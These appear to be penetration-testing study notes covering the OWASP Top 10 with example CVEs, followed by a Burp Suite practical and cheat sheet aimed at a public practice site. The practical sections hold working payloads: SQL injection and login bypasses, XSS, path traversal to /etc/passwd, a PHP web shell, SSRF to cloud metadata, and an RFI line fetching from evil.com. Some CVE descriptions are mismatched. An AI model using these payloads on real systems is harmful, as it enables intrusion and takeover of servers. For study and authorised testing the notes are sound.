OWASP TOP 10 - 2023 (Detailed Notes with CVEs)

1. Broken Access Control (A01:2021)

Failure to restrict authenticated users to only permitted resources/actions.

Attack Scenarios:

- IDOR (Insecure Direct Object Reference)
- URL Manipulation → Accessing other user data
- Privilege Escalation

Recent CVEs:

- CVE-2023-27898 - Jira Service Management - Improper Access Control
- CVE-2023-26482 - Spring Security Bypass

Prevention:

- Enforce server-side access control
- Least privilege principle
- Disable directory listing
- Use access control libraries properly

2. Cryptographic Failures (A02:2021)

Weak/missing encryption of sensitive data.

Attack Scenarios:

- Storing passwords in plaintext
- Weak hashing (MD5/SHA1)
- Improper SSL/TLS Usage

Recent CVEs:

- CVE-2023-23752 - Joomla Hardcoded Secret Key
- CVE-2023-25690 - Apache HTTP weak crypto usage

Prevention:

- Use strong encryption (AES-256, bcrypt, Argon2)
- TLS 1.2 or higher
- No hard-coded keys/secrets
- Regular key rotation

3. Injection (A03:2021)

Untrusted data sent as part of a command/query.

Attack Scenarios:

- SQL Injection
- Command Injection
- NoSQL Injection
- LDAP Injection

Recent CVEs:

- CVE-2023-23752 - Joomla SQL Injection
- CVE-2023-3066 - WordPress Plugin SQLi

Prevention:

- Prepared Statements (Parameterized Queries)
- ORM usage
- Input validation & sanitization
- Stored Procedures

4. Insecure Design (A04:2021)

Flaws in design rather than implementation.

Attack Scenarios:

- No threat modeling
- Exposing sensitive APIs without protection
- Business logic flaws

Prevention:

- Threat modeling
- Secure Design Patterns
- Abuse Case Analysis
- Security controls early in SDLC

5. Security Misconfiguration (A05:2021)

Improper configuration of servers, DB, storage, etc.

Attack Scenarios:

- Default credentials
- Unnecessary services enabled
- Error messages leaking sensitive info

Recent CVEs:

- CVE-2023-27524 - Apache Superset default secret key exposed
- CVE-2023-20887 - VMware Aria Command Injection (due to misconfig)

Prevention:

- Disable unused features
- Update & patch regularly
- Harden servers
- Implement security headers

6. Vulnerable and Outdated Components (A06:2021)

Use of components with known vulnerabilities.

Attack Scenarios:

- Using old libraries/plugins/frameworks
- No component inventory

Recent CVEs:

- CVE-2023-20864 - Spring Framework Vulnerability
- CVE-2023-0464 - OpenSSL Buffer Overflow

Prevention:

- Regular dependency check (OWASP Dependency-Check)
- Software Bill of Materials (SBOM)
- Use trusted repositories

7. Identification and Authentication Failures (A07:2021)

Broken authentication mechanisms.

Attack Scenarios:

- Brute Force Attacks
- Session Hijacking
- Credential Stuffing

Recent CVEs:

- CVE-2023-0662 - WordPress Authentication Bypass
- CVE-2023-23914 - Apache Shiro Auth Bypass

Prevention:

- MFA (Multi-Factor Authentication)
- Strong password policy
- Proper session management

- Limit failed login attempts

8. Software and Data Integrity Failures (A08:2021)

Untrusted code or data used without verification.

Attack Scenarios:

- CI/CD pipeline compromise
- Insecure software updates
- Dependency Confusion

Recent CVEs:

- CVE-2023-23529 - Apple WebKit Code Execution via Malicious Content
- CVE-2023-2640 - Ubuntu Snap Package Integrity Bypass

Prevention:

- Code signing
- Verify integrity of libraries
- Use trusted sources only

9. Security Logging and Monitoring Failures (A09:2021)

Insufficient logging & alerting.

Attack Scenarios:

- Undetected breaches
- No monitoring for critical events
- No log protection

Prevention:

- Centralized Logging (SIEM)
- Alerting on unusual activities

- Protect logs from tampering
- Log Authentication & Authorization events

10. Server-Side Request Forgery (SSRF) (A10:2021)

Manipulating server to send crafted requests to internal systems.

Attack Scenarios:

- Cloud Metadata Exploitation
- Internal Port Scanning
- Accessing private resources

Recent CVEs:

- CVE-2023-23916 - Apache Solr SSRF
- CVE-2023-27524 - Apache Superset SSRF

Prevention:

- Whitelisting of allowed domains/IPs
- Disable unnecessary URL fetching features
- Metadata API Protection in Cloud
- Use SSRF specific filters

VAPT Practical

Requirements:

- Burp Suite (Installed)
- Firefox/Chrome configured with Burp Proxy → 127.0.0.1:8080
- Target: https://testphp.vulnweb.com

Step 1: Recon & Spider the Site

→ Open Burp Suite → Target Tab → Scope → Add:

https://testphp.vulnweb.com

→ Proxy → Crawl entire site manually Clicks every page → Check parameters in Burp.

Step 2: Vulnerability Hunting by OWASP Category

1. Injection → SQL Injection (A03:2021)

Target URL:

https://testphp.vulnweb.com/artists.php?artist=1

Test in Burp → Intruder → Payloads:

1'

1' OR '1'='1

1' ORDER BY 5 --

1' UNION SELECT 1,2,3,4,5--

Result:

- Data leakage
- Bypass filters
- Error based information

2. Cross Site Scripting (XSS) (A03:2021)

Target URL:

https://testphp.vulnweb.com/search.php

Payload to test:

<script>alert('XSS')</script>

Inject in Search Box → Observe popup.

OR in Comments Section → Persistent XSS.

3. Broken Authentication (A07:2021)

Target Login Page:

https://testphp.vulnweb.com/login.php

Test SQLi Login Bypass:

Username: admin' OR '1'='1 --

Password: anything

→ See if login bypassed.

4. Broken Access Control / IDOR (A01:2021)

Target:

Check for hidden URLs & Changing Parameters.

Example:

https://testphp.vulnweb.com/showimage.php?file=1.jpg

Try:

?file=../../../../etc/passwd

OR: Increment IDs → See other's data.

5. Security Misconfiguration (A05:2021)

- Look for Admin Pages

https://testphp.vulnweb.com/admin/

- Check for default creds:

admin / admin

test / test

6. File Upload Vulnerability (A08:2021)

Target Upload Page:

https://testphp.vulnweb.com/upload.php

Try to upload:

shell.php

Payload content:

<?php system($_GET['cmd']); ?>

Then access:

https://testphp.vulnweb.com/images/shell.php?cmd=whoami

7. SSRF (Server Side Request Forgery) (A10:2021)

Try on:

Contact Form / Upload / Feedback Forms

Payload:

http://127.0.0.1:80

http://169.254.169.254/latest/meta-data/

Observe any internal response.

8. Cryptographic Failures (A02:2021)

Look for:

- Weak Login Password Storage
- No HTTPS (but this site uses SSL)
- Hardcoded Tokens

Observe Set-Cookie in Response.

9. Software & Data Integrity Failures (A08:2021)

Check if upload feature allows:

- .php files
- No validation
- Can modify data after upload

10. Security Logging & Monitoring Failures (A09:2021)

Trigger:

- Multiple Login Failures
- SQLi/XSS Payloads
- See if any lockouts or warning banners

Mostly observation based.

BURP PRACTICAL CHEATSHEET

Target: https://testphp.vulnweb.com
Tool: Burp Suite (Intercept + Intruder + Repeater)

1. Broken Access Control (A01:2021)

Test:

→ Direct Object Reference (IDOR)

https://testphp.vulnweb.com/showimage.php?file=1.jpg

→ Try changing to:

file=../../../../etc/passwd

file=admin.php

file=2.jpg

Goal:

- Access restricted files
- Privilege Escalation

2. Cryptographic Failures (A02:2021)

→ Look for weak tokens, session IDs.

Test:

- Inspect Cookies:

PHPSESSID=1234567890abcdef

Try:

- Session Fixation
- Predictable Tokens

3. Injection (A03:2021)

SQLi Payloads:

1' OR '1'='1 --

1' UNION SELECT 1,2,3,4,5--

admin'--

Test Here:

https://testphp.vulnweb.com/artists.php?artist=1

https://testphp.vulnweb.com/login.php

4. Insecure Design (A04:2021)

Test for:

- Business Logic Bypass
- Missing validation
- Changing price in GET / POST requests

Example:

https://testphp.vulnweb.com/cart.php?price=10

→ Change to price=1

5. Security Misconfiguration (A05:2021)

Test:

https://testphp.vulnweb.com/phpinfo.php

https://testphp.vulnweb.com/admin.php

https://testphp.vulnweb.com/.git/

https://testphp.vulnweb.com/backup.zip

6. Vulnerable & Outdated Components (A06:2021)

Use:

- Wappalyzer plugin
- Check PHP version in /phpinfo.php

7. Identification & Authentication Failures (A07:2021)

Test Login Page:

https://testphp.vulnweb.com/login.php

Bypass Payloads:

admin' OR '1'='1 --

admin' #

Bruteforce with Intruder: Username List: admin, test, user
Password List: password, 123456, admin

8. Software & Data Integrity Failures (A08:2021)

File Upload Test:

https://testphp.vulnweb.com/upload.php

Try to upload:

- shell.php
- image.jpg with embedded PHP code

GIF89a<?php system($_GET['cmd']);?>

9. Security Logging & Monitoring Failures (A09:2021)

Look for:

- No lockout on login

- No error logs visible
- No alert after multiple failed logins

10. SSRF (Server Side Request Forgery) (A10:2021)

Test:

https://testphp.vulnweb.com/showimage.php?file=https://yourburpcollaborator.net

or

file=http://169.254.169.254/latest/meta-data/

Burp Tips for All Testing:

Burp Feature Usage

Proxy	Capture & Modify Requests
Intruder	Fuzzing & Bruteforce
Repeater	Manual Testing
Decoder	Base64/URL decode
Comparer	Compare responses
Logger++	Better log visibility
Extensions	WAF Bypass, SQLMap Integration

Basic Payloads

SQL Injection:

' OR '1'='1 --

1' UNION SELECT 1,2,3,4,5--

admin' #

XSS:

<script>alert(1)</script>

<img src=x onerror=alert(1)>

"><svg/onload=alert(1)>

LFI/RFI:

../../../../etc/passwd

php://filter/convert.base64-encode/resource=index.php

http://evil.com/shell.txt

File Upload Bypass:

shell.php.jpg

shell.php;.jpg

SSRF:

http://127.0.0.1:80/

http://169.254.169.254/latest/meta-data/

Tip:

Everything you do → Intercept in Burp → Send to Repeater → Play with Requests.